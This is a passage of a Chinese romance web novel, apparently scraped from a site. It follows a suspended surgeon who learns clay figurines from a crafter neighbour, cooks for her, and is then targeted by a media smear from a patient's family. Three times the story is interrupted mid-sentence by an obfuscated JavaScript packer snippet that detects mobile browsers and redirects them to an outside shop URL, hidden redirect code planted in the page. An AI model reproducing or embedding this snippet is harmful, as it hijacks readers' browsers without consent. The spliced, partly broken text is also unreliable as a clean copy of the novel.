孟决明笑笑:“偶尔一次可以,但总不能我来一次就麻烦你拖一次地板吧。” 那倒也是,她授课期间,孟决明来家里的次数不会少。 可他这样也太麻烦了…… 孟决明换好鞋子,拎起药箱,“我先帮你把药换了吧。” 姜颂点头。 两人坐到沙发上,姜颂伸手过去,手上的纱布被孟决明小心地拆了下来,露出被包裹久了略微有些发白的手部皮肤。 孟决明一手托着她的手,另一只手从药箱里捡起镊子夹起消毒棉球,轻轻擦拭她的伤口。 一边擦一边时不时抬眼观察她的反应。 姜颂忽然浅浅地皱了皱眉,他立刻停住。 “疼?” “伤口不疼。”姜颂看向他握在她虎口位置的手,无奈地笑,“你捏得我有点疼。” 孟决明立刻松了力气:“抱歉。” “没关系。” 不知道为什么,姜颂觉得孟决明好像有一点紧张,以至于后续他处理得飞快,她还在想他在紧张些什么的时候,药已经换完了。 “还是尽量不要沾水,再换一次药应该就好了。” 姜颂嗯了声,看向他带的材料箱。 装满了一个中等型号的整理箱。 姜颂好奇道:“你都带了什么?” 孟决明拿过箱子打开来,“石塑粘土的材料和工具。” 姜颂都不用看,盲猜他指定是直接买了一整套。 “初学者用不着这么多工具。”姜颂从里面捡出几件基础工具,“这几个就够了。” 孟决明认真记下。 “你有什么想做的东西吗?”姜颂问。 孟决明想了想,回答道:“我看了你做兔子的那个视频,做这个可以吗?” 姜颂想了下,大概知道他说的是哪一个,“那个对现阶段的你可能有点困难,先做个简单的练一下基本功吧。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17008025|194113||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 那个可以等你熟练一点了再做。” “走吧,去我的工作室。你做,我指导。” 姜颂有一间专门用来赶单的屋子。 说是工作室,其实早就变成了材料仓库,因为她更喜欢在客厅里拉着窗帘干活。 孟决明一进去,就被房间里满墙严丝合缝的收纳柜里面琳琅满目的材料吸引了。 各种各样的线和布料,按照颜色、质感分门别类地被收纳在格子里。 他生平第一次了解到原来这两样东西居然有这么多不同的颜色和质感,看得他眼花缭乱。 地上放着两个纸箱,里面是未拆封的黏土。角落里有几个头模,每一个上面都顶着一头颜色跳脱的假发。还有一些他不认识的材料,不知道是用来干什么的。 他对姜颂“手作娘”这个身份的认知又深了一些。 原来在他不知道的地方,除了像他这种世俗眼里的“好工作”之外,还有人在做着这样小众却有意思的事,并且做得如此专业。 他真正理解了古人说的“术业有专攻”。 姜颂带他来到工作台前,她的工作台是一张超级大的桌子,平时被她的各种材料挤得没有空地。 刚刚知道孟决明要来,她已经提前收拾过了。 她还特意搬来两把椅子,“坐吧。” 两人一同落座。 姜颂把自己账号上推荐新手做的成品指给他看:“你选一个,我带着你做。” “那就……这个吧。”他指着一个姜饼人说。 “OK。” 姜颂切了两块黏土,把其中一块递给他,教了他一些最基础的玩土技巧。 孟决明很认真地听着,姜颂说一个点,他就做一遍给姜颂看。 “做得非常棒!”姜颂一向赞同鼓励教育,从不吝啬夸奖,“我觉得你很有天赋!” 对于得到夸奖,孟决明很意外。他努力压着唇角,说道:“昨晚我有仔细看你发过的教程,提前学习过。” “哦!怪不得做得这么好,比我新手期的时候强多了。”姜颂笑眯眯的,“那我们现在开始进入正题吧。” 大概是姜颂的视频录得太过流畅了,导致孟决明在看的时候觉得自己应该很快就能学会。 作为一个有实战经验的主刀医师,手稳且灵活对他来说是基本功,他对自己还是很有信心的。 姜颂给他示范完,他就照猫画虎,一点一点跟着做。 刚开始好好的,也不知道从哪一步开始出了差错,俩人鼓捣了半天,鼓捣出一个口歪眼斜的姜饼人。 那姜饼人的五官被孟决明画得仿佛心智不全。 姜颂:“其实也……挺可爱的,再练练就好了。” 孟决明捏着那块哪哪都是缺陷的姜饼人研究了一会儿,虽然丑得惊天动地,但毕竟是第一个作品,终于还是没舍得丢。 “再做一个。”他说,“这次一定比上次更好。” 两人揉了一下午粘土,孟决明一共做出了四个姜饼人,每一个都丑得各有特色。 他把四个姜饼人放在桌面上列成一排,对比了一下,第一次对自己的学习能力产生了严重的怀疑。 他看着姜颂,有些无奈:“小姜老师,我是不是有点笨?” “不会啊,有进步的!”姜颂肯定地说,“你看,最后一个要比第一个上色上的更均匀了,然后白模的形状也好了很多,不是我说,你这个程度再练练都可以接单赚钱了!” 孟决明怎么也看不出来有什么区别,但是被姜颂这么一夸,他又忍不住开心。 “那你第一次做这个,也是这样吗?” “……” 8. 第 8 章 姜颂不忍心说实话。 她猜想,孟医生在学生时代大概一直都是高材生,学习能力毋庸置疑,却没想到在手工界遭遇了人生的第一次滑铁卢。 “……差不多!”她干笑了两声,悄悄转移话题,“今天咱们就先到这吧,贪多嚼不烂,没准明天一觉醒来你的技巧就突飞猛进了!” 孟决明认真问:“会吗?” 姜颂坚定回:“会的!” 孟决明注视着那四块丑得惨绝人寰的姜饼人,又看看姜颂满脸的“全肯定”,一时半信半疑。 “那个……我要去喂猫了,你要一起还是留在这再练习一下?”姜颂趁机说。 孟决明的注意力终于从那四块姜饼人上离开。 “喂猫?你养了猫吗?” “楼下流浪猫。” 孟决明起身:“我们一起去吧。” 两人一起来到楼下。 姜颂把猫粮倒在碗里,立刻有一群流浪猫凑上来。 她摸了摸其中一只的脑袋,对孟决明说:“说起来,上次兰花走丢,我也就是在这里见到它的。” “然后你把它抱回家了?”孟决明问。 “不是,我喂过它两次,有一次它跟别的猫打架,被我救了,然后它就自己跟到了我家门前。” 孟决明听到这话忽而低低笑了一声。 姜颂:“你笑什么?” 他笑着摇头。 “兰花这种脾气古怪的小猫都喜欢你,很神奇。”孟决明唇边还挂着一抹笑意,“我觉得你应该也挺喜欢小猫的。” “算是吧。” 孟决明:“你想养吗,我有朋友是开宠物店的,我可以带你去挑一只,他不会收你钱的。” 姜颂摸猫的手停顿了一下,摇了摇头,“还是不了吧。” 她掖在耳后的长发散开垂落,又被她抬手重新掖起来。 她注视着那群猫,又好像在透过它们看什么。 沉默片刻后。 “我以前养过一只狗。”她突然开口,“就是农村里随处可见的那种小土狗。” “然后呢?” “死了。” “有责任心的人才配养活物。”姜颂的语气很轻,“我养不好,就不祸害它们了。” 孟决明从她的话里听出了一点自责的意味。 “没关系。”他说,“兰花很喜欢你,下次你可以去我家看它,或者我下次把它带过来跟你玩。” 姜颂露出一个笑容:“好啊。” 姜颂蹲在那撸了很久的猫,可因为刚才的对话,她的脑海里全是她从前在老家养的那只傻傻的小土狗。 许久过后,她起身,遥看天边,太阳正缓缓下落。 “饿了吗,一起去吃饭?我请客。”孟决明对她道。 姜颂摆手:“那怎么行,你上次已经请过一次了,这次应该我来请客。” 孟决明笑道:“可是上次是为了感谢你帮我。真要说起来,我还觉得上次一顿饭不足以还完你的人情,何况现在还要麻烦你教我这么笨的学生。” “说不过你。”姜颂失笑,“但是真的不可以,去的话只能我来买单。” “不然我不会去的哦。”姜颂眉毛一挑。 孟决明思忖道:“那……折中一下?” “怎么折中?” 孟决明:“我们可以在你家里吃。你来买菜,我来做,怎么样?” 姜颂一向懒得出门,这几天消耗的都是家里储备的食物。 现在冰箱里没剩下多少东西,她原本就打算晚上出去买点食物囤着的。 “好主意。”她租的这套房子周边配套设施不错,隔条马路就是商超,“那我现在就去买菜吧!” “我和你一起吧。” * 姜颂平时很少开火,因为她压根不会做饭。 其实她辞职前在老家跟父母住,为了帮母亲分担家务,那时也不是没有学过做饭。 如果说一道成功的菜品标准是色香味俱全,那她做出来的东西就是纯属开盲盒——极大概率开出这三样一样也不占的黑暗料理,极小概率能开出凑合吃的隐藏款。 没做几顿,爸妈点评完发现下次还是那样,就一致不让她再做了。 至于买菜,她也根本看不出好坏,纯根据外表好不好看挑选。 而她发现,孟决明挑菜拿起来左看看右看看,可最后挑的也不是最好看的那一个。 姜颂不解,拿起一个又大又红的西红柿问他:“为什么不选这个?” 孟决明走过去,把自己挑的拿起来放到她选的那个旁边,叶子朝上。 他耐心解释:“西红柿要选叶子六片及以上的,汁水更多,味道也会更甜。你手里这个只有五片叶子,它皮会很厚,肉质偏硬。” 他又把西红柿翻过来给她看:“另外,像这种顶部凹陷的一般是自然成熟的,打药的几率会更小。” “居然还有这种说法!” “那这个呢,这个怎么挑?”她指着土豆问。 孟决明看了看,从一堆土豆里挑出一个:“选这种表面粗糙且发暗的。” “表面光滑漂亮的不好吃吗?” “不是。”孟决明解释说,“因为我们今天打算做的是番茄土豆炖牛肉,表面粗糙发暗的会更面一些,适合炖菜。表面光滑发白的比较脆,适合做土豆丝。” “哦!”姜颂点点头,“涨知识了。” 一路走,姜颂一路问,感觉自己发现了新大陆。 难不成,她做饭难吃是因为她不会挑蔬菜? 她决定等下次用孟医生教给她的方法挑,然后再实验一下自己的厨艺水平。 她心里这么想着,看见孟决明拿起一盒牛肉仔细查看。 见他挑选食材如此熟练,姜颂忍不住好奇道:“孟医生你经常自己做饭吗?” 孟决明:“也不经常,平时比较忙,一般就在医院食堂吃。” 姜颂哦了一声,想想也是,一年三百六十五天,哪天都有人生病,医生怎么可能闲得下来。 姜颂:“那你这么忙,还有时间学做菜啊?” “是以前留学的时候学的,国外的食物不太吃得惯。” “哇,你还留过学啊?” “嗯,我在美国读的博。” 姜颂赞叹:“好厉害,不过你看起来真的不太像读到博士还工作了好几年的年纪。” 孟决明闻言笑道:“我上学的时候跳过几级,年龄应该没有比你大很多岁。” 姜颂浑然 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17008026|194113||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不觉孟决明的重点在年龄上,她点点头:“哦,怪不得,我就说你看起来没有那么老。” 孟决明忍俊不禁,夸张地捂着心脏位置作受伤状。 姜颂才意识到刚才的话有些不礼貌,连忙道:“抱歉,我不是那个意思!我是说你看起来很年轻!” 说完,觉得好像还是有歧义,她急得抓头发:“也不是,哎呀,我的意思就是……你本来就很年轻!” 孟决明看着她的模样笑出了声。 “逗你的,我明白你的意思。”他说,“你呢,认识这么久了,我对你的了解好像还是有点少。” “你想了解哪方面呢?” 孟决明把选好的牛肉放进车里,从她手里接过购物车推着,缓慢前行。 “比如,你是怎么想到做现在的工作的?” “这个说来话长。”姜颂想了想,简略了过程:“我大学读的是公费师范生,后来考研没考上,毕业就分配回老家的小镇上当语文老师了。两年前辞职来到这里,本来是想靠手工过渡一下,但后面账号起来了,我就干脆一直做下来了。” “那难怪,你真的很有耐心,也很擅长鼓励别人,发掘优点。”孟决明回想着与她相处的时候,每一刻都让他觉得很舒服。 他感慨道:“我觉得你一定是个很好的老师,做你的学生一定很幸福。” “可我觉得……”姜颂拉长了最后一个字的调子,却没说出个所以然。 最后她笑了笑:“哎,不提了。” 走出食材区,前面正好是卖生活用品的区域。 姜颂:“我刚好还有些生活用品要买,我们顺便去逛逛吧。” “好。” 孟决明看了她一眼,没有再继续刚才的话题。 接着,他不经意地开了另一个话题的头:“工作稳定后,跟父母住,容易被催婚吧?” 姜颂苦着一张脸道:“可不嘛。” “不是我自吹自擂,孟医生你生在桐市这样的都市可能不太了解小地方。那里的人们因为缺少工作机会,会对编制带有天然的滤镜。有编制的女孩子几乎只要一到那里,就会立刻被媒人盯上。如果是像我这样的本地女孩,那更是逃不掉,因为他们会默认你不舍得辞掉编制,自然要在那里生活一辈子,那就避不开结婚这个问题。” “结婚,对小地方的人来说,像是一种使命。”姜颂叹气,“有段时间,我每天下班回家,饭桌上都会自动刷新出一个男生,每天不重样。” 孟决明笑意微凝:“有看上的吗?” 她摇头:“上班都累死了,我每天下班都筋疲力尽丧着一张脸,哪有精力应付。” “后面我受不了了,就直接搬到学校宿舍住了。” 孟决明:“所以是因为这个辞职了?” “有这个原因。”她没否认。 路过牙膏货架,姜颂停下来挑选。 孟决明追问道:“那在桐市有遇见喜欢的男孩子吗?” 姜颂回头看他,惊奇他认识她这么多天了,居然对她宅家的能力一无所知:“我门都不出欸。” 然后又回过头去继续认真挑牙膏了。 孟决明望着她的背影,连他自己都没察觉到,自己的唇角在听到这个回答后一直上扬。 9. 第 9 章 姜颂补了一些家里缺货的东西。 穿过生活用品区的时候,正好路过放置拖鞋的货架。 姜颂忽地想起身边人今天带来的一次性拖鞋,步子越来越慢。 如果以后孟医生经常来的话,也算她家的客人了吧? 似乎买一双拖鞋会更方便一点,万一以后家里来客人也用得上。 她的目光扫过货架上那一排男士拖鞋。 但是,话又说回来,她在这压根没有第二个朋友,按照她的生活作息,不出意外的话,应该也不会再有新朋友,除非她还能遇见医闹这倒霉事,顺便再英雄救美一次。 那这双拖鞋不就等于孟医生在她家的专属了吗? 这样大概也许可能好像……是不是有点太暧昧了…… 她又收回目光。 可话又又说回来,不能每次人家来都让人家自带一次性拖鞋吧?那也太不像话了! 一双拖鞋而已,孟医生应该也不会像她一样脑洞大开,想这么有的没的吧。 姜颂就这么在货架前左右脑互搏了好久。 久到孟决明疑惑地看着她。 “有什么要买的吗?” 姜颂咬着嘴唇里面的软肉,犹豫再三。 挣扎许久,她还是觉得得问。 她极力装出一副松弛的语气,闲聊似的随口一问:“孟医生,你穿什么码数的鞋子?” 孟决明不明所以,但还是如实回答道:“43码。” “哦。” 姜颂走上前去,打眼一扫,目标明确地选中了一双黑色简约款男士拖鞋,一看码数正好,便放到车里,继续推车向前走。 动作一气呵成,毫不拖泥带水。 孟决明在原地愣了有几秒,见姜颂走远才跟上去。 姜颂眼观鼻,鼻观心,忍住不去用余光看他。她心底缓缓升腾起一种诡异的心虚感。 她自己也纳闷,她到底在心虚什么,买一双客用拖鞋而已啊! 孟决明:“还有要买的东西吗?” “啊……没有了。” “那去结账吧。” 孟决明跟着她一块来到收银台,从购物车里一件一件地将东西拿出来。 收银员迅速扫完码,手里举着扫码枪。 姜颂一边找出付款码,一边等着收银员报价。 “您一共消费……” “滴!” 孟决明抢先付了款。 姜颂还一脸懵地看着他拎起购物袋。 出了超市大门,姜颂问:“不是说好了我来买单吗?” 孟决明作出思考状:“嗯……我忘了。” 姜颂静静地盯着他。 “那我把钱转给你。” “下次吧,下次你来买。”孟决明说。 姜颂就知道他是故意的:“你真的不能一直这样了,我会不好意思的。” “嗯,”他煞有介事地点头,“下次我一定改。” 姜颂没办法了。 “孟医生,你现在说这种话在我这里真的没有一点可信度了。下次你再这样……” 她鼓鼓脸颊。 “我将会把付款码贴在脸上!” 孟决明哈哈大笑。 * 路上,姜颂想分担一下重量,被孟决明以待会儿还需要她开门的理由一口回绝。 姜颂只好作罢。 上了楼,姜颂开门后先进去,孟决明提着东西慢悠悠跟在她后面。 换鞋的时候,姜颂偷偷往后瞄了一下跟进来的孟决明。 她清清嗓子,不动声色地从他手里拿过装生活用品的袋子,翻出那双黑色拖鞋。 她眼睛不自在地看着别处:“穿这个吧,以后就不用每次来我家都带一次性的了。” 孟决明眉眼间满是笑意,接过来换上,“谢谢。” 姜颂想说,谢什么,不还是你自己付的钱吗? 屋里暖气很足,孟决明脱了外套,露出内搭的白色薄绒衫,隐隐显出他宽肩窄腰的身材轮廓。 他把食材拿到厨房简单归类,姜颂在一旁自告奋勇要帮忙打下手。 “我可以负责洗菜!” 孟决明停下动作,偏头看她,佯装严肃:“小姜老师,你想对一个医生说你要不听医嘱了吗?” 姜颂抬起那只包裹着纱布的手,“已经结痂了,没事的。” “那也不能大意,感染了很麻烦。” 孟决明思考片刻,对她说:“你的厨房我不熟悉,待会儿帮我递一下调料可以吗?” 姜颂同意了,在一旁围观孟决明游刃有余地处理各种食材。 她忽然注意到他身上纯白的羊绒衫,又看了看手边墙壁上挂着的可爱风围裙,迟疑地指了指:“你要不戴个围裙?” 孟决明顺着她指的方向看去,那里挂了一条卡其色围裙,前襟画着可爱表情,上方缝着一对小熊耳朵。 他笑了笑:“可以啊。” 姜颂走过去。 孟决明见她摘下围裙递来,突然想起自己的手刚摸过生肉,伸到一半的手停了下来。 见他的手不方便接,姜颂下意识就踮起脚,将围裙帮他套在了脖子上。 孟决明微微低头。 目光相接的那一刻,两人皆是一愣。 姜颂只停顿了一秒,随后马上顺其自然,绕到了他身后帮他系后面的系带。 坏了,以前在家帮妈妈系围裙习惯了! 还好她反应快! 姜颂脸颊发烫,指尖随着心跳的频率抖个不停,根本不听她使唤。 孟决明背对着她,比例优越的背影姜颂一眼也不敢多瞧。只是因为靠得太近,他身上那股淡淡的香味不断涌入她的鼻息。 是那天在医院,被他护在怀里时,她始终没想起来的香气。 现在她想起来了,是薄荷与雪松。 姜颂凝神静气,胡乱打了个死结:“好了。” 没等孟决明转过身,她飞快地说:“有点口渴,我出去倒杯水喝哈!” 然后飞速逃离现场。 孟决明屏着的呼吸缓慢地恢复正常,耳根的血色却迟迟没有消退。 姜颂一杯水喝了快半个小时。 回来的时候,灶台上的锅里已经溢出香味。 孟决明熟练地颠勺、翻炒、放调料,看起来没有异样。 她装作无事发生,过去帮忙,仿佛刚刚真是口渴去喝水了。 姜颂还是低估了孟决明的厨艺。 她以为应该就跟她妈妈做的差不多,家常菜的水平,结果面对着一桌子色香俱全的菜,她被震惊得说不出话。 当尝到味道的时候,她已经没工夫吹彩虹屁了,只顾一边埋头干饭,一边发出一些对食物全肯定的怪异声音。 “哇哇哇!油爆虾是我最喜欢的菜!”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17008027|194113||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “这个土豆炖牛肉好好吃!” “这个鸭黄豆角也好香!” 她忽然觉得就算孟医生回不了医院,开个饭馆也能做到全国闻名。 “孟医生,你真是一个被救死扶伤耽误了的伟大的天才厨师!” 孟决明笑眯眯地看着她:“真的吗?我以前也总给我妈妈做,她从来没有夸过我,我还以为我做得很一般。” “怎么会呢,真的很香啊!可以开店大卖的水平,真的,完全!”姜颂怕他不相信,还特意补充道,“我可没有在客套,是真的很香很好吃。减肥暂停,我还可以再来一碗!” 孟决明眸中笑意愈深:“那以后我再学做其他菜的时候带过来给你尝尝。” 围裙事件引发的尴尬,在这一瞬间,在美食的巨大诱惑中,被姜颂完全忘怀。 她点头如小鸡啄米:“好呀好呀!” 一顿饭后,孟决明不顾阻拦,甚至把碗洗了。 临走前,他期待地看着她问:“我觉得还是线下教学的效果好一些,明天我还可以来找你做手工吗?” “当然可以啦。” “那明天见。” “明天见!” 孟决明心满意足地离开。 他觉得这是他停职以来心情最愉悦的一天。 * 夜幕沉沉,深秋的风越发萧瑟。 老小区设计之初存在许多不合理之处,比如楼间距过窄,一到大风天气,在屋里听着外面的风声总让人觉得像鬼哭狼嚎。 “啪!” 玻璃杯被狠狠砸在地上,瞬间粉身碎骨。 面容凶狠的男人眼中盛满暴戾。 “小光,怎么了这是?”身形佝偻的老太太从门口探出头来。 刘光一转头,露出眉上那条刀疤,显得脸色十分可怖:“咱们不能这么干等着了。” “医院肯定不愿意赔钱,自己查自己能查出来什么?孟家在本地有些关系,说不定会在其中动什么手脚。” 老太太面露难色:“咱们去医院闹过了,警察局也去了,一分钱也没拿到,还能怎么办?” “你别管了,我想办法。我弟不能就这么白白死了,他们必须赔钱!” 说罢,他眼珠一滚,脑海中忽然划过一个损人不利己的主意。 他眼中闪烁着诡异的光:“咱们找媒体爆料,把当年的事都抖落出去!他们就算有人脉,也不可能捂得住别人的嘴!” “这能行吗?当年那事要是抖出去,会不会我们也受影响啊?”老太太疑虑重重。 刘光却不以为然:“那么多年前了,男孩之间打个架不是很正常吗?他记仇也不能害了我弟一条命啊,谁能保证他没有公报私仇,故意给我弟弟手术动手脚?否则,你说他为什么要主动接自己仇人的手术,真会有人那么好心吗?说出去谁信啊?” “可是……” 刘光立马打断母亲:“别可是了,我马上联系媒体,咱们曝光他,这种事情说不清楚,医院顶不住压力就得给咱们赔钱,到时候咱们就发达了!” 他越说越兴奋,扭曲的表情让老太太看得心里直发毛。 可担心归担心,她自己心里也有一本账。 她已经失去小儿子了,大儿子的婚事还没着落。如果能拿到一笔钱,给大儿子娶了媳妇,她将来也能轻松不少。 于是,她没再反对,看着大儿子拨通了电话。 10. 第 10 章 这几天,孟决明拿出了写论文的精神,刻苦钻研姜颂的教程,又做出了几个小东西出来。 姜颂养伤,他停职,各自时间都很充裕,他便一天不落地往姜颂家跑。 姜颂也很开心。 一来是因为她无聊的时候可以有朋友陪,孟医生脾气特别好,可以包容她偶尔嘴比脑子快的胡话。 二来是孟医生几乎每天都会带着美食过来投喂她。 孟决明家里她这里不远,开车过来也就十来分钟,带来的美食总是冒着热气。姜颂觉得他也许是在家里刚做好饭就立马打包,然后就下楼开车来找她了。 对比她自己做的饭和早就吃腻的外卖,姜颂对孟决明带来的东西根本不挑食,每次都光盘。孟决明变着花样地做,她就变着花样地夸。 只是有个问题。 孟医生在看着她大快朵颐的时候,总是很期待她给出的评价。这种评价不只是语言上的,也包括行动上的。 有次她在他来之前吃了一块小蛋糕,实在吃不下,最后剩了一点菜,她能感觉到他的在意。即使她赞不绝口,他还是会有意无意地反复确认是不是做得不好。 姜颂想不明白,孟医生名校毕业,还有留学经历,在三甲医院里年纪轻轻就做了主任医师,在许多人眼里绝对算得上成功人士。 但他似乎对自己的认同感不太高。 刚开始她只以为他是谦逊,接触多了才发现,他是真的特别期待她的肯定。 姜颂回想各个阶段自己身边那些出类拔萃的人们,几乎每一个都有着不同程度的傲慢,那是一种长期被周围的“星星”们捧出来的优越感。 可孟医生身上却看不到半点优越感的影子,反而总是十分谦逊,谦逊到妄自菲薄。 她不明白,不过后来几天里再也没剩过任何一点东西,吃不下也硬吃。 孟决明察觉到她的心思,再给她带饭时悄悄减了一点份量。 日子过得很是悠闲平静。 两人做手工累了,就会到楼下一起溜达溜达喂喂流浪猫,有时候孟决明也会在姜颂的要求下教她一点做饭技巧。 只是在厨艺这方面,姜颂真的是一窍不通。她也终于认清了她做饭难吃跟她挑的菜好不好没有什么关系,纯属手艺问题,只好作罢。 夜晚。 姜颂洗漱完,穿着睡衣坐到桌前,打开工作台上的护眼灯。 她抬手活动了一下手指与手腕,感觉这几天手部的疼痛已经没什么明显感觉了。 算算时间,也半个月过去了,伤口已经愈合。 孟决明白天来给她换过药,征求了这个专业人士的意见后,姜颂决定慢慢增加工作量,开始复工。 姜颂看向灯下。 那里摆放着一个勉强能猜出是兔子的白模。 她取出丙烯颜料盘,为其上色。 事毕,她双手托脸,端详着面前憨态可掬的小兔子,想到下午的时候坐在这里一本正经捏兔子的孟决明,忍俊不禁。 从前几天开始,孟决明就一直在做兔子。 那天跟他视频,看到他手里那只四不像时,她直接笑出了画面。 等她笑够再回到画面里时,发现孟医生正低头盯着那四不像若有所思。 她忙敛了笑,坐直身子。 换做往常,她一定会绞尽脑汁地从那个四不像身上找到一点可取之处,然后再鼓励鼓励他。毕竟人家亲手做的,没有功劳也有苦劳。 她刚才那么笑,孟医生不会不高兴吧? 也是在那一刻,姜颂突然发现了一件事情—— 她后知后觉,自己好像对孟医生再没有了那种礼貌而疏离的客套。 反而有点不客气了。 姜颂绞着手指:“对不起啊,我刚才不该笑你的。” 孟决明抬起眼,认真道:“哦不是,我只是在想要不要重新塑一下形,感觉是底子的问题。” “你这泥都快干了,只能重新做。”姜颂说完几秒后,忽然想起第一次教他的时候他就说想做一只兔子。 “你是很喜欢兔子吗?”她特意问了这么一句。 孟决明给了肯定的回答。 姜颂那时就留了心,决定等自己的手能恢复工作了,要送孟医生一个关于兔子的礼物。 今天孟决明来找她,她带着他捏了一下午兔子,最后挑出还能凑合看的一只,就是她眼前这个。 孟决明说他上色总是深一块浅一块的,怕毁了这唯一一只看得过去的兔子白模,上色就拜托她帮忙了。 不过,她要送的礼物可不是这个。 姜颂收回思绪,小心地把颜料没干的兔子挪到一旁,从材料台上翻出一包黏土和乱七八糟的工具。 台灯调到护眼模式后,她用小刀切了一块土,分成几个部分,一顿揉揉捏捏。十几分钟过去,一只可爱的小兔子诞生。 她看着素体思索片刻,从密封袋里又取了一些土来,做了一个微型听诊器和一件白大褂,跟小兔素体组装在一起。 端详许久,总觉得还差了点什么。 她闭上眼睛想孟决明的气质,要她形容的话,她会觉得那是一种带着书卷气的斯文。这与他整个人的穿衣风格和长相都有关系。 但兔子的形象过于可爱,怎么看都与这两个词毫不沾边。 她灵机一动,用铜丝拧了一副金丝眼镜给小兔子戴上了。 小兔医生萌得姜颂灵感大发。 她也好久没研究新款了,也许可以以小兔医生的形象推出一个系列! 顺便……还可以把第一套成品送给孟医生当礼物! 今日工作毕,她把两只兔子放到通风处。 她想如果明天干了,可以把上完色的小兔子给孟医生带回家,他一定很开心。 只是第二天,她左等右等也没见到孟决明的人影。 * 孟决明刚从派出所打车回到小区,正往家走。 拿出手机一看,微信有姜颂的消息发来。 他拨通了微信语音过去。 姜颂半个小时前给孟决明打过一通电话,显示关机,只好给他发了微信询问,可惜依然没有回信。 她心不在焉地做单,心思全在手机上。 接到微信语音的那一刻,姜颂几乎是立刻点了接听。 她打开免提,问他:“还来吗?你的兔子可以带走了。” 电话那头沉默 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这个世界上终究还是手无寸铁的普通人占了大多数,没有人能保证自己一辈子不会躺在手术台上。一旦遇上无良医生,基本是任人宰割的状态。 看客纷纷代入自己,因为感同身受,所以对立。 这写手显然很明白这一点,巧妙地利用了这种矛盾作为印子。 文章里只说了孟决明和家属以及死者在学生时代有过节,轻描淡写地略过了过节本身,却抓住这个前因,强行将患者术后病情恶化的后果嫁接上去,一下子将大家的注意力重点引到了孟决明公报私仇上。 姜颂估计着对方还买了水军下场带节奏,偶尔有个别严谨的看客提出对家属的质疑便会顷刻间遭到围攻,评论者受不住攻击只得悻悻删评。 一来二去,词条里几乎是一边倒地在骂孟决明丧尽天良。 别说当事人,连她这个无关人员看了那些评论都忍不住心惊肉跳。那些给他打电话的人,又会有多少恶毒的话等着他呢? 姜颂退出来,心里憋着一口气不上不下的:“那你怎么办?” 他倒像没事人似的反过来安慰她:“没事,我已经报警了。过几天热度下去就好了,不用担心。” 仿佛她才是被骂的那一个。 姜颂不知道说什么好。 语音就这么挂着。 孟决明进了电梯,很快上升到他所住的楼层。 电梯门开,他的目光落在自己门口。 眼前的情景彻底让他的心沉到了谷底。 入户门上被人贴满了挽联,上面用红色墨水写着“无良医生”和“丧尽天良”八个大字,鲜红刺目。 地上还有个盒子。 孟决明走近,听见里面传来“吱吱”的叫声。 他瞳孔微缩,一时间后背发寒,站在原地不知所措。 “喂,孟医生?还在吗?” “嗯。” 孟决明咽下情绪,用力揭下挽联,输入密码打开家门。 一进门,母亲正端坐在客厅沙发上,目光冷漠地朝他投来。 11. 第 11 章 孟俪虽已年过五十,但保养得极好,一身职业穿搭十分干练,看不出几许风霜。 她头发梳得整齐,规规矩矩地盘在脑后。身材苗条,气质优雅,犹能从中窥见年轻时的风采,是位十足的中年美人。 只是这位中年美人现下并不怎么愉悦。 孟决明目光微沉。 他低声对电话另一边的姜颂说:“我这里有点事需要处理一下,待会儿我再给你打过去。” “等一下,孟医生,我还有两句话要告诉你。” “你说。” 姜颂语气很是坚定:“第一句,你没有错。” “第二句,你一定要注意安全。” 她语速不疾不徐,每一个字落到他耳中都带着极重的分量。 短短的两句话让他无处安放的情绪得到了片刻的安抚。 “我希望你牢牢把这两句话记在心里,行吗?” “我会的。不要担心我,真的没事。”孟决明最后对她说。 挂了电话,孟决明向母亲看去。 该来的迟早会来,狂风暴雨不会因为花朵脆弱就对它心怀慈悲。 孟俪就端坐在那里看着他走来,隔着一段距离冷声问他:“这些都是什么?” 她面前的茶几上零散放着四个其貌不扬的姜饼人,其中一个已经头身分离,周围散落着一些粉末。 孟决明的嘴唇抿成了一条直线。 “我有时候真的蛮佩服你的,孟决明。大难临头了,你居然还有闲心在这玩物丧志?我真不知道你每天脑子里都在想些什么东西!” 孟决明努力忽略来自母亲的言语暴力,他坐到对面,问道:“妈,您找我有什么事?” 孟母没好气地冷哼一声,但也不卖关子,直奔正题。 “明天有个饭局,高局的女儿也在。” 话很直白,却也很含蓄地省略了一些彼此心知肚明的东西。 成年人的世界里,饭局在多数情况下都不只是吃饭这么简单,总是带着各种各样的目的。 “你知道的,她一直对你很有好感,你过去见见。如果你们能成,你停职的事也就能解决了。” 孟决明看着母亲的脸庞,久久没说话。 “不用了,在我眼里,她只是我负责的病人。出了院,我和她就没有任何关系了。” 孟母没想到会被拒绝,诧异道:“不用?那你这事打算怎么办,说来我听听?” “走正规程序,到法院递诉状。”孟决明抬眼,一字一句地说。 